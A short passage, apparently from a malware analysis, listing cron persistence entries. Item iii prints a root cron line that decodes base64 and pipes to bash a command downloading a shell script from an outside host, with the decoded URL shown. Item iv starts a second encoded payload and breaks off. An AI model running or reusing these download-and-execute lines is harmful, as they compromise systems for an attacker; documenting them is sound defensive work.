iii. */4 * * * * root echo Y3VybCBodHRwOi8va2lzcy5hLWRvZy50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash Base64 decoded string:curl http[:]//kiss.a-dog.top/b2f628/b.sh iv. c2V0IGJhY2t1cDQgIlxuXG5cbkBob3VybHkgcm9vdCAg